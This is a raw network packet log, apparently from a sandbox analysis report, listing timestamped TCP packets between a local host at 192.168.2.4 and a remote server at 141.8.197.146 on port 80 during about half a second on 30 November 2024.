Nov 30, 2024 05:00:24.281083107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.281136990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.281179905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.281222105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.282027006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.282143116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.282963991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.283049107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.283096075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.283143044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.283936977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.284065008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.284890890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.284948111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.284990072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.285037994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.285824060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.285936117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.285995960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.286746025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.286880016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.287707090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.287771940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.287802935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.287847996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.288676977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.288781881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.289668083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.289778948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.289778948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.289820910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.290570021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.290689945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.290735960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.291507959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.291667938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.291719913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.292459965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.292547941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.292593002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.293477058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.293592930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.293641090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.294352055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.294420958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.294460058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.295303106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.295416117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.295459032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.296241999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.296358109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.296402931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.297183037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.297295094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.297348976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.298132896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.298269987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.298343897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.299101114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.299228907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.299278975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.300046921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.330703020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.330765009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.330797911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.330869913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.330912113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.330971956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.331841946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.331892014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.331922054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.332796097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.332839966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.332880974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.333717108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.333760023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.333827972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.334666967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.334712982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.334764957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.335652113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.335695982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.335747957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.336509943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.336549044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.458096981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.458220005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.458266020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.458549976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.458635092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.458673954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.459520102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.459625006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.459666014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.460464001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.460537910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.460578918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.461407900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.461487055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.461527109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.462354898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.462488890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.462528944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.463326931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.463471889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.463515997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.464301109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.464436054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.464476109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.465218067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.465339899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.465380907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.466157913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.466279030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.466321945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.467101097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.467236042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.467282057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.468060017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.468188047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.468236923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.469011068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.469130993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.469175100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.469944954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.470062017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.470107079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.470900059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.471019983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.471066952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.471868038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.471981049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.472023964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.472793102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.472903013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.472945929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.473737001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.473865032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.473908901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.474742889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.474828959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.474874973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.475667000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.475800037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.475846052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.476583004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.476686954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.476731062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.477659941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.477773905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.477823019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.478486061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.478599072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.478669882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.479438066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.479557991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.479602098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.480390072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.480490923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.480540991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.481331110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.481447935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.481503010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.482278109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.482373953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.482420921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.483234882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.483344078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.483391047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.484193087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.484278917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.484335899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.485107899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.485230923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.485275984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.486066103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.486196041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.486243010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.487019062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.487143993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.487205982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.487963915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.488090992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.488133907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.488934040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.489048004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.489089966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.489862919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.489974022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.490015030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.490804911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.490930080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.490971088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.491775036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.491874933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.491914034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.492711067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.492821932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.492868900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.493648052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.493758917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.493803978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.494626999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.494746923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.494791985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.495606899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.495696068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.495738983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.496522903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.496629000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.496665001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.497462988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.497564077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.497606993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.498409033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.498522043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.498579025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.499361992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.499471903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.499516964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.500303030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.500423908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.500478983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.501243114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.531953096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.532012939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.532023907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.532426119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.532491922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.532541990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.533360958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.533401012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.533709049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.533890009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.533929110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.534686089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.534811020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.534849882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.535645008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.535780907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.535820961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.536600113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.536726952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.536762953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.537506104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.586618900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.659275055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.659430981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.659485102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.659779072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.659986019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.660028934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.660738945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.660844088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.660890102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.661658049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.661820889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.661863089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.662674904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.662803888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.662847996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.663568020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.663682938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.663727045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.664536953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.664647102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.664691925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.665492058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.665599108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.665642023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.666449070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.666591883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.666637897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.667347908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.667473078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.667515993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.668323994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.668601990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.668649912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.669253111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.669420958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.669473886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.670201063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.670327902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.670376062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.671150923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.671274900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.671333075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.672092915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.672220945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.672274113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.673027039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.673140049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.673199892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.673998117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.674156904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.674207926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.674937963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.675065994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.675108910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.675888062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.676008940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.676055908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.676831007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.676943064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.676989079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.677766085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.677886009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.677937031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.678797960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.678905010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.678947926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.679660082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.679797888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.679846048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.680632114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.680753946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.680803061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.681556940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.681669950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.681715012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.682518005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.682642937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.682692051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.683461905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.683603048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.683666945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.684441090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.684577942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.684628963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.685370922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.685499907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.685547113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.686315060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.686403990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.686469078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.687290907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.687397003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.687448025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.688216925 CET	80	49732	141.8.197.146	192.168.2.4
